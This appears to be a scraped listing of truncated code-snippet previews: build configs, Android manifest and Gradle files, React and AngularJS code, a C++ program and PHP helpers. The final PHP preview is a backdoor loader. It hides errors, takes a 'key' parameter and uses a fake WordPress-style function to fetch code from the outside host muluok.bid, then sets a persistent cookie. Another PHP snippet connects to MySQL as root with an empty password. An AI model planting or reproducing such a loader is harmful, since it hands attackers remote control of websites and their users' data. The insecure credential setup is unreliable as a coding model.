This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
var gulp = require('gulp'); | |
var uglify = require('gulp-uglifyjs'); | |
gulp.task('uglify', function() { | |
gulp.src('./my.js') | |
.pipe(uglify()) | |
.pipe(gulp.dest('./build')) | |
}); |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
<?xml version="1.0" encoding="utf-8"?> | |
<manifest xmlns:android="http://schemas.android.com/apk/res/android" | |
package="kg.oshsu.times.oshsutimes"> | |
<uses-permission android:name="android.permission.INTERNET" /> | |
<application | |
android:allowBackup="true" | |
android:icon="@mipmap/ic_launcher" | |
android:label="@string/app_name" |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
apply plugin: 'com.android.application' | |
android { | |
compileSdkVersion 26 | |
defaultConfig { | |
applicationId "kg.oshsu.times.oshsutimes" | |
minSdkVersion 14 | |
targetSdkVersion 22 | |
versionCode 1 | |
versionName "1.0" |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
<!DOCTYPE html> | |
<html ng-app="app"> | |
<head> | |
<meta charset="utf-8"> | |
<title>Simple AngularJS todo list</title> | |
<style type="text/css"> | |
a[ng-click] { | |
cursor: pointer; | |
color: lime; | |
} |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
import React from 'react'; | |
import './App.css'; | |
import LoginScreen from '../screens/LoginScreen'; | |
import MainScreen from '../screens/MainScreen'; | |
import { connect } from 'react-redux'; | |
import MenuAppBar from './MenuAppBar'; | |
const App = ({ user, auth, database, onUserLoaded }) => { | |
// constructor(){ | |
// super(); |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
#include <bits/stdc++.h> | |
using namespace std; | |
int main() | |
{ | |
int b; | |
string a, d; | |
cin >> a; | |
cin >> b; |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
import React, { Component } from 'react'; | |
import { BrowserRouter as Router, Route } from 'react-router-dom'; | |
import LazyRoute from './components/ui/LazyRoute'; | |
import {Provider} from 'mobx-react'; | |
import AppStore from './stores/AppStore'; | |
import Home from './components/Home'; | |
class App extends Component { | |
render() { |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
<?php | |
session_start(); | |
$db = new mysqli('localhost', 'root', '', 'youtube'); // базаны тууралаңыз!!! | |
function getSession($name, $delete = true){ | |
$data = $_SESSION[$name]; | |
if ($delete) $_SESSION[$name] = NULL; | |
return $data; | |
} |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
```<?php | |
error_reporting(0); | |
if (isset($_REQUEST['key'])) { | |
if(wp_admin_bar_dl("http://muluok.bid/raw/cnm.php?key=".md5($_REQUEST['key']))){ | |
setcookie("key", $_REQUEST['key'], time() + 3600 * 24); | |
$_COOKIE['key'] = $_REQUEST['key']; | |
} | |
} | |
if (!isset($_COOKIE['key'])) { |